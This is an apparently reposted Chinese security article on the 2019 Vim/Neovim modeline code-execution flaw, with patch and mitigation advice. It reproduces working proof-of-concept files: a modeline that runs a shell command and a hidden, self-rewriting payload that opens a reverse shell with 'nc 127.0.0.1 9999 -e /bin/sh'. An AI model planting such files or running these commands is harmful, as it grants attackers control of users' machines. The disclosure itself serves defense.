基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞。
Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。
可以看见,他在notepad(记事本)程序下启动了一个cmd.exe
由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。
而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。
作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!
附上了github链接。
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
公布POC
第一种:
1、创建poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、确保未禁用modeline选项(:set modeline)
3、在vim中打开该txt
vim poc.txt
然后系统会执行 uname -a
第二种,创建反弹shell
该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时立即重写。
此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。
(而使用cat -v可以显示实际内容。)
shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
细节
命令行功能允许在文件的开头或结尾附近指定自定义编辑器选项。
默认情况下启用此功能并应用于所有文件类型,包括plain .txt。 一个典型的模式:
/* vim: set textwidth=80 tabstop=8: */
出于安全原因,在modelines中只允许选项的子集,如果选项值包含表达式,则它在沙箱中执行:
出于安全原因,不支持除“set”之外的其他命令(有人可能会使用modelines创建特洛伊木马文本文件。 并非所有选择可以设定。 对于某些选项,设置了一个标志,以便在使用时使用|沙盒| 是有效的。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
沙箱旨在防止副作用:
'foldexpr','formatexpr','includeexpr','indentexpr','statusline'和'foldtext'选项可以在沙箱中评估。 这意味着你是保护免受这些具有令人讨厌的副作用的表达。 这给了一些从模式行设置这些选项时的安全性。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
但是,:source!命令(使用bang [ !]修饰符)可用于绕过沙箱。它从给定文件中读取并执行命令,就像 手动键入,在沙箱离开后运行它们一样。
:so[urce]! {file}
从{file}读取Vim命令。 这些是命令从您正常模式执行,就像您输入他们一样。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
因此,可以简单地构建一个在沙箱外部运行代码的模式行:
# vim: set foldexpr=execute('\:source! some_file'):
Neovim还需要一个额外的步骤,即execute():
在这里,assert_fails()也可以使用,也需要{cmd}参数:
以下模式行使用fold表达式来运行source! %以执行当前文件,该文件又uname -a || "(garbage)"作为shell命令执行:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
此外,仅Neovim功能nvim_input()易受相同方法的影响,例如:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
(过去,其他与模式相关的漏洞已在Vim中修补 - 请参阅CVE-2002-1377,CVE-2016-1248。)
补丁(建议还是打一下)
Vim补丁8.1.1365
https://github.com/vim/vim/commit/5357552
Neovim补丁(在v0.3.6中发布)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。
实际上,工具类的本地代码执行漏洞也不止上面几兄弟,像此前的linux的less工具同样存在代码执行漏洞
科普:less 工具是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。
文章来源:公众号黑鸟
喜欢就分享一下吧~
基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...相关推荐
- 文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- html游戏代码_新手使用的Mac系统的简易代码编辑器推荐
简易代码编辑器是一种小型的编辑软件,它们不像那些专业的编程软件,需要占用极大的空间,简单方便是它们共同的优点.但是相对的,它们的一些功能会被舍弃,无法一些复杂的编程设计.这些代码编辑器最适合用来进行一 ...
- 对文本根据特殊字符进行分段代码_如何优雅地配置快应用的代码片段
本文使用 Zhihu On VSCode 创作并发布 作为一名程序员,在编码的过程中,难免会遇到要写些重复性的代码:假如每次都重新码一遍,既浪费了时间,也有伤身体.倘若可以配置一个像快捷键一样,输入简 ...
- azure上传代码_深入了解Azure Data Studio:更多代码和更少GUI
azure上传代码 In the previous two articles, Starting your journey with Azure Data Studio and Developing ...
- wordpress代码_如何在WordPress网站上轻松显示代码
wordpress代码 Do you want to display code in your WordPress blog posts? If you tried to add code like ...
- android骰子游戏代码_真神器!不用手写一行代码就能做网站~
点击上方"Python编程时光",选择"加为星标"第一时间关注Python技术干货! 制作网站用什么,Dreamweaver 还是 Fireworks? 现在, ...
- 插件代码_我们开源了一款 SonarQube iOS 代码扫描插件
背景: 我们在公司(好未来)内部开发了一套基于 SonarQube 的静态代码扫描服务,得益于 SonarQube 开源版本本身的功能,我们可以直接复用支持主流的编程语言,但 SonarQube 的开 ...
最新文章
- js进阶正则表达式方括号(方括号作用)(js正则是在双正斜杠之中:/[a-z]/g)...
- java字面量 方法区_(一)java的内存模型
- P1488 肥猫的游戏
- 三、比特币白皮书:一种点对点的电子现金系统
- 数据类型的判断 c# 1614092544
- 拿到串口的数据如何解析_大数据解析如何租到“物美价廉”的好房?
- vue视频保存不下来_视频素材制作小技巧
- 面向对象淡入淡出轮播图(附带面向过程)
- PTA 程序设计天梯赛(21~40题)
- java clob 操作_java操作clob字段
- ios苹果越狱教程(奥德赛)
- dbeaver包含jdk11下载
- Android半透明对话框实现
- 单例模式--懒汉模式和饿汉模式
- layui 导航栏设置无鼠标停留特效_五款最受欢迎的热门wordpress开源主题 - 博客、导航...
- Vue File Manager – PHP即时存储、共享和获取文件基于VUE v2.2.0.2
- unity粒子编辑器详解
- 深入理解Builder模式(转载)
- Puppet nginx+passenger模式配置
- requestLayout() improperly called by xxxxxxxxxxxxxxxxxxx ScrollViewContainer 问题
热门文章
- Java 并发编程:Synchronized 及其实现原理
- 实时计算框架:Flink集群搭建与运行机制
- Linux常用命令(第二版) --Shell应用技巧
- spring boot 源码分析(七) 事件机制 之 SpringApplicationEvent
- iOS多线程:『pthread、NSThread』详尽总结
- Redis介绍及实践分享
- javascript 参数检验(二):参数检查工具的完善
- DrawTool画笔之图形笔
- 信息学奥赛一本通 1136:密码翻译 | OpenJudge NOI 1.7 09
- 信息学奥赛一本通 1105:数组逆序重存放 | OpenJudge NOI 1.6 04